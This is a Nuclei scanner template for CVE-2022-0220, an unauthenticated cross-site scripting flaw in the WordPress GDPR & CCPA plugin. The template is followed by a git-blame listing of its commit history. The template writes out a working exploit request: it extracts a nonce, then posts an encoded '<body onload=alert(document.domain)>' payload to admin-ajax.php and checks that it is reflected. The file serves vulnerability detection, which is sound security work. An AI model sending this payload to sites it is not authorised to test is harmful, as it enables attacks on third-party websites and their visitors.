nuclei-templates/http/cves/2022/CVE-2022-0220.yaml

id: CVE-2022-0220

info:
  name: WordPress GDPR & CCPA <1.9.27 -  Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress GDPR & CCPA plugin before 1.9.27 contains a cross-site scripting vulnerability. The check_privacy_settings AJAX action, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type, and JavaScript code may be executed on a victim's browser.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Version 1.9.26 has added a CSRF check. This vulnerability is only exploitable against unauthenticated users.
  reference:
    - https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0220
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0220
    cwe-id: CWE-116
    epss-score: 0.00124
    epss-percentile: 0.4686
    cpe: cpe:2.3:a:welaunch:wordpress_gdpr\&ccpa:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: welaunch
    product: wordpress_gdpr\&ccpa
    framework: wordpress
  tags: cve2022,cve,wpscan,wordpress,wp-plugin,wp,xss,unauth,welaunch

http:
  - raw:
      - |
        GET /wp-admin HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(header_2, 'text/html')"
          - "status_code_2 == 200"
          - "contains(body_2, '<body onload=alert(document.domain)>') && contains(body_2, '/wp-content/plugins/')"
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'nonce":"([0-9a-z]+)'
        internal: true
        part: body
# digest: 4b0a00483046022100b3722d9e009d5c1c3e2d7b7b51c634728bdcde176567f826c364a6a5a919c92f022100d014f3e7b4ad3ede1574768235689cbe63eb8cfb5429fa3bf3cf27308243695b:922c64590222798bb761d5b6d8e72950
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`id: CVE-2022-0220`

			`info:`
Dashboard Merge Issues Resolution (#5337) * Auto Generated CVE annotations [Wed Sep 7 15:59:37 UTC 2022] :robot: * Fixed merge issues from previous PR * moved vulnerabilities/wordpress/CVE-2019-10692.yaml to cves dir * Fix CVSS information and other minor merge issues Co-authored-by: Sullo <sullo@cirt.net> 2022-09-10 01:55:52 +00:00			`name: WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`author: daffainfo`
Auto Generated CVE annotations [Sat Sep 10 02:12:57 UTC 2022] :robot: 2022-09-10 02:12:57 +00:00			`severity: medium`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`description: \|`
Auto Generated CVE annotations [Sat Sep 10 02:12:57 UTC 2022] :robot: 2022-09-10 02:12:57 +00:00			`WordPress GDPR & CCPA plugin before 1.9.27 contains a cross-site scripting vulnerability. The check_privacy_settings AJAX action, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type, and JavaScript code may be executed on a victim's browser.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.`
updated 2022 CVEs 2023-09-06 11:59:08 +00:00			`remediation: Version 1.9.26 has added a CSRF check. This vulnerability is only exploitable against unauthenticated users.`
Update CVE-2022-0220.yaml 2022-07-25 16:49:41 +00:00			`reference:`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`- https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059`
Update CVE-2022-0220.yaml 2022-07-26 06:24:11 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2022-0220`
TemplateMan Update [Fri Jun 7 10:04:28 UTC 2024] :robot: 2024-06-07 10:04:29 +00:00			`- https://github.com/ARPSyndicate/cvemon`
			`- https://github.com/ARPSyndicate/kenzer-templates`
Auto Generated CVE annotations [Thu Aug 25 06:30:23 UTC 2022] :robot: 2022-08-25 06:30:23 +00:00			`classification:`
Auto Generated CVE annotations [Sat Sep 10 02:12:57 UTC 2022] :robot: 2022-09-10 02:12:57 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
			`cvss-score: 6.1`
Dashboard Merge Issues Resolution (#5337) * Auto Generated CVE annotations [Wed Sep 7 15:59:37 UTC 2022] :robot: * Fixed merge issues from previous PR * moved vulnerabilities/wordpress/CVE-2019-10692.yaml to cves dir * Fix CVSS information and other minor merge issues Co-authored-by: Sullo <sullo@cirt.net> 2022-09-10 01:55:52 +00:00			`cve-id: CVE-2022-0220`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`cwe-id: CWE-116`
Added EPSS Percentile 2023-08-31 11:46:18 +00:00			`epss-score: 0.00124`
TemplateMan Update [Fri Jun 7 10:04:28 UTC 2024] :robot: 2024-06-07 10:04:29 +00:00			`epss-percentile: 0.4686`
updated 2022 CVEs 2023-09-06 11:59:08 +00:00			`cpe: cpe:2.3:a:welaunch:wordpress_gdpr\&ccpa::::::wordpress::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 2`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: welaunch`
			`product: wordpress_gdpr\&ccpa`
updated 2022 CVEs 2023-09-06 11:59:08 +00:00			`framework: wordpress`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2022,cve,wpscan,wordpress,wp-plugin,wp,xss,unauth,welaunch`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`- raw:`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`- \|`
			`GET /wp-admin HTTP/1.1`
			`Host: {{Hostname}}`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`- \|`
			`POST /wp-admin/admin-ajax.php HTTP/1.1`
			`Host: {{Hostname}}`
			`Content-Type: application/x-www-form-urlencoded`

Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}`
Fix trailing spaces 2022-07-18 13:57:48 +00:00
Using "host-redirects" instead of "redirects" to avoid scanning 3rd party / out of scope hosts. (#5491) 2022-10-07 21:27:25 +00:00			`host-redirects: true`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`max-redirects: 2`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`matchers:`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`- type: dsl`
			`dsl:`
removed deprecated header syntax with latest one 2023-06-19 21:10:30 +00:00			`- "contains(header_2, 'text/html')"`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`- "status_code_2 == 200"`
Update CVE-2022-0220.yaml 2022-08-24 13:29:03 +00:00			`- "contains(body_2, '<body onload=alert(document.domain)>') && contains(body_2, '/wp-content/plugins/')"`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`condition: and`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`extractors:`
			`- type: regex`
			`name: nonce`
			`group: 1`
			`regex:`
			`- 'nonce":"([0-9a-z]+)'`
			`internal: true`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
Auto Template Signing [Fri Jan 26 08:31:11 UTC 2024] :robot: 2024-01-26 08:31:11 +00:00			`# digest: 4b0a00483046022100b3722d9e009d5c1c3e2d7b7b51c634728bdcde176567f826c364a6a5a919c92f022100d014f3e7b4ad3ede1574768235689cbe63eb8cfb5429fa3bf3cf27308243695b:922c64590222798bb761d5b6d8e72950`